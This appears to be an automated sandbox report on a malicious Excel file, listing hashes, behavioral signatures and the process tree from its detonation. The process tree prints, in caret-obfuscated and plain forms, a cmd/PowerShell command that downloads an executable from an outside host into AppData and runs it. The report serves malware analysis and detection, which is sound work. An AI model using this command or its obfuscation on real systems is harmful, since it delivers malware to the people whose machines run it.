Windows 7 deprecation
Windows 7 will be removed from tria.ge on 2025-03-31
Analysis
-
max time kernel
24s -
max time network
18s -
platform
windows7_x64 -
resource
win7-20240705-en -
resource tags
arch:x64arch:x86image:win7-20240705-enlocale:en-usos:windows7-x64system -
submitted
15/08/2024, 02:44
Behavioral task
behavioral1
Sample
2a43e7f6b7291722e89bff09e414dc9243e4b8c72f13f5061d3e3818430e0a65.xls
Resource
win7-20240705-en
Behavioral task
behavioral2
Sample
2a43e7f6b7291722e89bff09e414dc9243e4b8c72f13f5061d3e3818430e0a65.xls
Resource
win10v2004-20240802-en
General
-
Target
2a43e7f6b7291722e89bff09e414dc9243e4b8c72f13f5061d3e3818430e0a65.xls
-
Size
71KB
-
MD5
0eecd2469bcbffa61fe624d868a5e7d9
-
SHA1
406737ead14edf10eb951a9eea75c657ab2ec7dd
-
SHA256
2a43e7f6b7291722e89bff09e414dc9243e4b8c72f13f5061d3e3818430e0a65
-
SHA512
862057f6be783526c3b43fa5db582931bf4e3bd2b57faba929b18ab8b226fd531513a24bb710b7d709368b5287f78f71491e169597c4f0fc8b506d345d028d0b
-
SSDEEP
1536:WkxEtjPOtioVjDGUU1qfDlaGGx+cL+LIfdAMvZif71rzVm1jrKSFKp:WkxEtjPOtioVjDGUU1qfDlaGGx+cL+LM
Malware Config
Extracted
https://cedacriall.faith/1aqalpiniahelfuimoksa.exe
Signatures
-
Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
description pid pid_target Process procid_target Parent C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE is not expected to spawn this process 2172 1476 cMd.exe 28 -
pid Process 1764 powershell.exe 1764 powershell.exe -
System Location Discovery: System Language Discovery 1 TTPs 3 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
description ioc Process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language EXCEL.EXE Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cMd.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language powershell.exe -
Office loads VBA resources, possible macro or embedded object present
-
Enumerates system info in registry 2 TTPs 1 IoCs
description ioc Process Key opened \REGISTRY\MACHINE\Hardware\Description\System\FloatingPointProcessor EXCEL.EXE -
Suspicious behavior: AddClipboardFormatListener 1 IoCs
pid Process 1476 EXCEL.EXE -
Suspicious behavior: EnumeratesProcesses 1 IoCs
pid Process 1764 powershell.exe -
Suspicious use of AdjustPrivilegeToken 1 IoCs
description pid Process Token: SeDebugPrivilege 1764 powershell.exe -
Suspicious use of SetWindowsHookEx 3 IoCs
pid Process 1476 EXCEL.EXE 1476 EXCEL.EXE 1476 EXCEL.EXE -
Suspicious use of WriteProcessMemory 12 IoCs
description pid Process procid_target PID 1476 wrote to memory of 2692 1476 EXCEL.EXE 29 PID 1476 wrote to memory of 2692 1476 EXCEL.EXE 29 PID 1476 wrote to memory of 2692 1476 EXCEL.EXE 29 PID 1476 wrote to memory of 2692 1476 EXCEL.EXE 29 PID 1476 wrote to memory of 2172 1476 EXCEL.EXE 30 PID 1476 wrote to memory of 2172 1476 EXCEL.EXE 30 PID 1476 wrote to memory of 2172 1476 EXCEL.EXE 30 PID 1476 wrote to memory of 2172 1476 EXCEL.EXE 30 PID 2172 wrote to memory of 1764 2172 cMd.exe 32 PID 2172 wrote to memory of 1764 2172 cMd.exe 32 PID 2172 wrote to memory of 1764 2172 cMd.exe 32 PID 2172 wrote to memory of 1764 2172 cMd.exe 32
Processes
-
C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE"C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE" /dde C:\Users\Admin\AppData\Local\Temp\2a43e7f6b7291722e89bff09e414dc9243e4b8c72f13f5061d3e3818430e0a65.xls1⤵
- System Location Discovery: System Language Discovery
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:1476 -
C:\Windows\splwow64.exeC:\Windows\splwow64.exe 122882⤵PID:2692
-
-
C:\Windows\SysWOW64\cMd.execMd.exe /c "p^Ow^ERS^hel^l^.e^x^e^ -nO^l -No^Ni^Nt^ -W^InDO^ws^ 1 -NoprO^FIle^ -eX^Ec^u B^Ypa^S^s ^(^ne^w-^ob^ject s^ys^t^em.n^e^t^.we^b^cl^i^e^n^t)^.do^wnloa^d^f^il^e('https://cedacriall.faith/1aqalpiniahelfuimoksa.exe','%appdata%.exe')^;^star^t-pr^oc^es^s^ '%appdata%.exe'"2⤵
- Process spawned unexpected child process
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:2172 -
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepOwERShell.exe -nOl -NoNiNt -WInDOws 1 -NoprOFIle -eXEcu BYpaSs (new-object system.net.webclient).downloadfile('https://cedacriall.faith/1aqalpiniahelfuimoksa.exe','C:\Users\Admin\AppData\Roaming.exe');start-process 'C:\Users\Admin\AppData\Roaming.exe'3⤵
- Command and Scripting Interpreter: PowerShell
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1764
-
-